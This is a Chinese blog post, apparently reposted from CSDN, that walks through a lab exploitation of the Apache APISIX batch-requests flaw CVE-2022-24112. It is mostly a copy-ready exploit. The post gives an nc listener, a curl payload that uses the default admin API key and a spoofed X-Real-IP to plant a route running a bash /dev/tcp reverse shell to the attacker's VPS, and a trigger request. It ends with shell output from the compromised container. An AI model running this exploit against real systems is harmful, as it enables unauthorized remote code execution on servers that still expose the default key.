i春秋云镜CVE-2022-24112

参考这两个poc:

https://github.com/twseptian/cve-2022-24112 

https://github.com/Acczdy/CVE-2022-24112_POC

Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用_长白山攻防实验室的博客-CSDN博客

Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。

Apache APISIX中存在远程代码执行漏洞,该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。

攻击者可通过该漏洞绕过Admin API的IP限制,容易导致远程代码执行。

分两步:

第一步,vps监听tcp端口:

nc -lnvvp 6800 

第二步,发两次curl请求:


myurl2=http://eci-2zed38nv18jqeylh9aij.cloudeci1.ichunqiu.com:9080/;
# myurl2=http://127.0.0.1:9080/;

#xxxx.myvps.cn和 6800 需要替换为你自己的vps_ip(vps的域名也可以)和nc监听端口

danth="'";
mydata4='{"headers": {"X-Real-IP": "127.0.0.1", "X-API-KEY": "edd1c9f034335f136f87ad84b625c8f1", "Content-Type": "application/json"}, "timeout": 666, "pipeline": [{"path": "/apisix/admin/routes/index", "method": "PUT", "body": "{\"uri\":\"/rms/fzxewh\",\"upstream\":{  \"type\":\"roundrobin\",\"nodes\":{\"schmidt-schaefer.com\":1}  },\"name\":\"wthtzv\",\"filter_func\":\"function(vars) os.execute('$danth'bash -c \\\\\\\"0<&160-;exec 160<>/dev/tcp/xxxx.myvps.cn/6800;sh <&160 >&160 2>&160\\\\\\\"'$danth'); return true end\"}"}]}'



curl -v -d "$mydata4" -H "Content-Type: application/json" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" "${myurl2}apisix/batch-requests";

#如上curl 的http状态码一般是200


curl -v -H "Content-Type: application/json" -H "X-API-KEY: edd1c9f034335f136f87ad84b625c8f1" "${myurl2}rms/fzxewh";

#如上curl 的http状态码一般是503

myurl2=http://127.0.0.1:9080/的时候  ,是因为开启了本机docker:

cd /tmp;
git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件
cd cve-2022-24112/apisix-docker/example/ ##进入相应目录
docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务

反弹一个shell:

bash-5.1$ df -h
Filesystem                Size      Used Available Use% Mounted on
overlay                  29.4G     12.4G     15.5G  44% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                   335.3M         0    335.3M   0% /sys/fs/cgroup
/dev/vda                 29.5G     55.1M     28.0G   0% /etc/hosts
/dev/vda                 29.5G     55.1M     28.0G   0% /dev/termination-log
kataShared               18.1G     10.2G      7.0G  60% /etc/resolv.conf
shm                      62.5M         0     62.5M   0% /dev/shm
tmpfs                    64.0M         0     64.0M   0% /proc/kcore
tmpfs                    64.0M         0     64.0M   0% /proc/keys
tmpfs                    64.0M         0     64.0M   0% /proc/timer_list
tmpfs                    64.0M         0     64.0M   0% /proc/sched_debug
bash-5.1$ git
bash: git: command not found
bash-5.1$ cat /etc/os-release 
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.13.7
PRETTY_NAME="Alpine Linux v3.13"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
bash-5.1$ free -m
              total        used        free      shared  buff/cache   available
Mem:            670         120         434           1         115         481
Swap:             0           0           0
bash-5.1$  ps aux
PID   USER     TIME  COMMAND
    1 root      0:00 {busybox} ash /tmp/start.sh
    5 root      0:00 /tmp/etcd
   48 root      0:00 {openresty} nginx: master process /usr/local/openresty/bin/openresty -p /usr/local/apisix -g daemon off;
   49 nobody    0:00 {openresty} nginx: worker process
   50 nobody    0:00 {openresty} nginx: cache manager process
   52 root      0:00 {openresty} nginx: privileged agent process
   56 nobody    0:00 bash -c 0<&160-;exec 160<>/dev/tcp/vps_ip.com/6800;sh <&160 >&160 2>&160
   57 nobody    0:00 sh
   69 nobody    0:00 /tmp/xxx
   73 nobody    0:00 /bin/bash
   79 nobody    0:00 ps aux
bash-5.1$  curl cip.cc
IP	: 39.106.20.178
地址	: 中国  北京
运营商	: 阿里云/电信/联通/移动/铁通/教育网

数据二	: 北京市 | 阿里云

数据三	: uA뀝

URL	: http://www.cip.cc/39.106.20.178
bash-5.1$ 

猜你喜欢

转载自blog.csdn.net/qq_29060627/article/details/130444964
今日推荐